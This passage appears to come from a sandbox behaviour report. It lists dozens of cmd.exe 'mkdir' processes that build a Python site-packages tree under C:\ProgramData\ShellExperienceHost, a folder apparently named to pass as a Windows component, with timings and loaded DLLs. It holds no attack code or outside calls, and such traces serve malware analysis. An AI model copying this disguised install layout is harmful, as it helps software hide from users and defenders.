        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT
        
        3224
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\BACKENDS\
        
        Time lapse
        
        64.788317
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\BACKENDS
        
        1596
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\BACKENDS\OPENSSL\
        
        Time lapse
        
        64.819517
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\BACKENDS\OPENSSL
        
        3268
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\BINDINGS\
        
        Time lapse
        
        64.850718
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\BINDINGS
        
        3260
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\BINDINGS\OPENSSL\
        
        Time lapse
        
        64.866316
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\BINDINGS\OPENSSL
        
        3820
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\MAKEGW\
        
        Time lapse
        
        69.234326
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\MAKEGW
        
        2108
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\SERVER\
        
        Time lapse
        
        69.312325
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\SERVER
        
        2060
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\SERVERS\
        
        Time lapse
        
        69.327925
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\SERVERS
        
        2484
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\
        
        Time lapse
        
        69.359125
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST
        
        3244
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\
        
        Time lapse
        
        69.405924
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS
        
        3216
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\C_EXTENSION\
        
        Time lapse
        
        69.437124
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\C_EXTENSION
        
        3284
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\C_EXTENSION\__PYCACHE__\
        
        Time lapse
        
        69.452725
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\C_EXTENSION\__PYCACHE__
        
        3280
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\DDE\
        
        Time lapse
        
        69.468325
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\DDE
        
        3808
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\DDE\__PYCACHE__\
        
        Time lapse
        
        69.483925
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\DDE\__PYCACHE__
        
        3804
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\IMAGES\
        
        Time lapse
        
        69.515125
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\IMAGES
        
        3232
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\RANDOM\
        
        Time lapse
        
        65.365519
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\RANDOM
        
        3240
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\UTIL\
        
        Time lapse
        
        65.396719
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\UTIL
        
        3228
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\
        
        Time lapse
        
        65.427918
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO
        
        3208
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\SSPI\__PYCACHE__\
        
        Time lapse
        
        69.749125
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\SSPI\__PYCACHE__
        
        3180
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\__PYCACHE__\
        
        Time lapse
        
        69.764725
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\__PYCACHE__
        
        3176
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SERVICE\
        
        Time lapse
        
        69.795925
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SERVICE
        
        3336
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SERVICE\__PYCACHE__\
        
        Time lapse
        
        69.811525
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SERVICE\__PYCACHE__
        
        3316
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ISAPI\DOC\
        
        Time lapse
        
        65.615118
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ISAPI\DOC
        
        3332
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ISAPI\SAMPLES\
        
        Time lapse
        
        65.630718
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ISAPI\SAMPLES
        
        3300
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ISAPI\TEST\
        
        Time lapse
        
        65.646319
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ISAPI\TEST
        
        3340
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\
        
        Time lapse
        
        65.677519
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED
        
        3368
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED-0.1.31.DIST-INFO\
        
        Time lapse
        
        65.693119
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED-0.1.31.DIST-INFO
        
        3344
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\__PYCACHE__\
        
        Time lapse
        
        70.014326
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\__PYCACHE__
        
        3376
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\SCRIPTS\CE\
        
        Time lapse
        
        70.170326
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\SCRIPTS\CE
        
        3408
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\SCRIPTS\CE\__PYCACHE__\
        
        Time lapse
        
        70.201527
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\SCRIPTS\CE\__PYCACHE__
        
        3396
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\SCRIPTS\__PYCACHE__\
        
        Time lapse
        
        70.263926
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\SCRIPTS\__PYCACHE__
        
        3384
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NTPLIB-0.3.4.DIST-INFO\
        
        Time lapse
        
        66.005118
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NTPLIB-0.3.4.DIST-INFO
        
        3424
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\OSS2\
        
        Time lapse
        
        66.020718
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\OSS2
        
        3432
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PKG_RESOURCES\
        
        Time lapse
        
        66.051918
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PKG_RESOURCES
        
        3428
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PKG_RESOURCES\EXTERN\
        
        Time lapse
        
        66.067518
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PKG_RESOURCES\EXTERN
        
        3420
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PKG_RESOURCES\_VENDOR\
        
        Time lapse
        
        66.098719
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PKG_RESOURCES\_VENDOR
        
        876
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PKG_RESOURCES\_VENDOR\PACKAGING\
        
        Time lapse
        
        66.114319
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
